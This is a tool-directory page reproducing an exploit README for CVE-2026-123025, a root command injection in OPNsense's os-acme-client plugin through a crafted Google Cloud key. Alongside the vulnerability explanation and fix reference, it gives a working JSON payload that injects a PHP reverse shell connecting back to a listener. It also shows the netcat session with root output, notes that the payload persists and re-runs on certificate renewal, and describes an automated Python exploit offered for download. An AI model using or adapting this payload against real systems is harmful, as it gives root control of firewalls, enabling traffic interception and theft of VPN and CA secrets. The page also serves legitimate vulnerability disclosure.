Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-123025 — OS command injection as root via Google Cloud DNS challenge key | Kitploit
Tools/GitHubGitHub/cppghoul/cve-2026-123025
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationPenetration TestingCommand and Control
GitHubcppghoul/cve-2026-123025

CVE-2026-123025

OS command injection as root via Google Cloud DNS challenge key

View Repository
14 days agoNot yet reviewed
Share

[!WARNING] DISCLAIMER This proof-of-concept is provided for educational and authorized security testing purposes only. Use it only against systems you own or have explicit written permission to test. The author assumes no liability for any misuse or damage caused by this software. Unauthorized access to computer systems is a criminal offense in most jurisdictions.

CVE-2026-123025 - OPNsense os-acme-client Root Command Injection

OPNsense os-acme-client 4.17 - OS Command Injection as root via Google Cloud DNS challenge key.

Since I discovered this vulnerability, I would like to include my PoC for it.

Disclaimer

This proof-of-concept is provided for educational and authorized security testing purposes only. The author assumes no liability for any misuse or damage.

Vulnerability

The ACME Client plugin takes two values from the operator-supplied Google Cloud service account JSON key and interpolates them into shell commands without escaping or validation. project_id and client_email are read from the dns_gcloud_key model field (a plain TextField, no validation — AcmeClient.xml:740) and end up inside two gcloud config set ... calls in LeValidation/DnsGcloud.php (lines 81-82).

LeUtils::run_shell_command() feeds the resulting string straight to proc_open(), i.e. /bin/sh -c. Every comparable call site in the plugin goes through the safe helper LeUtils::execSafe() — these two statements are the only exception.

The certificate issuance chain runs as root:

WebUI/API "Issue certificate"
  └─ configd action [sign-cert]:
       /usr/sbin/daemon -f /usr/local/opnsense/scripts/OPNsense/AcmeClient/lecert.php   (root)
         └─ LeCertificate::issue()
              └─ LeValidation\DnsGcloud::prepare()          <-- injection fires here,
                                                             before any Google / ACME traffic

The injected command runs before any DNS-01 validation happens, so a fake JSON key is enough: no Google account, no valid domain. The payload stays in config.xml and runs again on every certificate auto-renewal (cron).

Affected Versions

  • OPNsense CE 26.7 + os-acme-client 4.17 - confirmed (root shell obtained)
  • os-google-cloud-sdk plugin must be installed (otherwise prepare() exits before the injection)
  • Presumably all recent releases carrying the current DnsGcloud.php (present since ≤ 2021)
  • Fixed in: 4.18

Impact

Any authenticated webGUI user with access to the ACME Client plugin pages (page ACL, not necessarily a full admin) can run arbitrary commands as root on the firewall: rewrite firewall rules, intercept traffic, extract VPN secrets, CA keys and config.xml.

Two cases worth noting:

  • A user holding only the Services: ACME Client page privilege gets a root shell whenever os-google-cloud-sdk is already installed — no firmware or SSH privileges required.
  • A stolen admin session can install both plugins from System → Firmware → Plugins and reach root without enabling the SSH service and without new services or firewall rules. The payload sits inside a regular JSON field, survives in config.xml and runs again on each certificate auto-renewal.

WriteUp

Target: 192.168.56.2 — OPNsense CE 26.7 (VirtualBox lab), plugins os-acme-client 4.17 + os-google-cloud-sdk 1.0_1, WebGUI on HTTPS.

  1. Log into the webGUI (session + CSRF token).
  2. Create a DNS-01 challenge of type Google Cloud DNS whose Service Account Key carries the payload in project_id:
    {"type":"service_account",
     "project_id":"poc; php -r '$s=fsockopen(\"192.168.56.1\",4444);proc_open(\"/bin/sh -i\",array(0=>$s,1=>$s,2=>$s),$p);' >/dev/null 2>&1 & #",
     "client_email":"[email protected]"}
    
  3. Create a certificate bound to that challenge and press "Issue" (POST /api/acmeclient/certificates/sign/<uuid>).
  4. DnsGcloud::prepare() executes the injected php -r as root and connects back:
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.2] 52979
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# hostname
OPNsense.internal
# opnsense-version
OPNsense 26.7 (amd64)

The plugin log confirms the order of events — the injection fires during validation preparation, before the ACME order is even created:

13:32:33 Registered                                  <- ACME account registered
13:33:12 Using CA ... Creating domain key            <- issue() started
            [ payload executed HERE as root ]
13:33:24 Error creating new order ... "poc" needs at least one dot   <- irrelevant to the exploit

Python PoC

The full exploit is implemented in PoC.py - interactive, no arguments. It performs the steps above over the webGUI API, starts nc -lvnp on its own and waits for the shell. PHP is used for the payload because it is always present on OPNsense (FreeBSD nc has no -e). The created ACME objects are left in place on purpose: the payload survives in config.xml and re-fires on auto-renewal.

Reverse shell as root

References

  • OPNsense security policy: https://docs.opnsense.org/security.html
  • os-acme-client source (vulnerable file): https://github.com/opnsense/plugins/tree/master/security/acme-client
  • Vendor advisory / CVE: https://www.cve.org/CVERecord?id=CVE-2026-123025
  • fix: https://github.com/opnsense/plugins/pull/5873 (you can also ensure that I am the reporter of this vuln there)

License

MIT — see LICENSE.

Author and vulnerability reporter

cppghoul

For educational and authorized security testing only.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    593
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    371
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    326
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →